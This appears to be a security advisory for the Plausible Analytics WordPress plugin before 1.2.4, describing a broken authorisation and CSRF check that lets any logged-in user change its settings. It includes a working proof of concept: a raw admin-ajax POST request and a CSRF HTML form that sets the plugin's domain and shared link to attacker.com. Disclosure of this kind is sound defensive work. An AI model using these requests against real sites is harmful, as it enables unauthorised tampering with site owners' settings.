Plausible Analytics < 1.2.4 – Subscriber+ Arbitrary Settings Update

Description

The plugin has a flawed logic when checking for authorisation and CSRF before updating its settings, allowing any authenticated users, such as subscriber, to update the plugin's settings. The attack is also possible via CSRF against any authenticated user.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------110341318819326907813430388064
Content-Length: 1315
Connection: close
Cookie: [any authenticated user]

-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="action"

plausible_analytics_save_admin_settings
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="domain_name"

example.com
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="custom_domain"

false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="custom_domain_prefix"

analytics
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="is_self_hosted_analytics"

false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="self_hosted_domain"

example.com
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="embed_analytics"

false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="shared_link"

https://plausible.io/share/example.com?auth=XXXXXXXXXXXX
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="track_administrator"

false
-----------------------------110341318819326907813430388064--


Via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="plausible_analytics_save_admin_settings" />
      <input type="hidden" name="domain_name" value="attacker.com" />
      <input type="hidden" name="custom_domain" value="false" />
      <input type="hidden" name="custom_domain_prefix" value="analytics" />
      <input type="hidden" name="is_self_hosted_analytics" value="false" />
      <input type="hidden" name="self_hosted_domain" value="example.com" />
      <input type="hidden" name="embed_analytics" value="false" />
      <input type="hidden" name="shared_link" value="https://plausible.io/share/attacker.com?auth=XXXXXXXXXXXX" />
      <input type="hidden" name="track_administrator" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>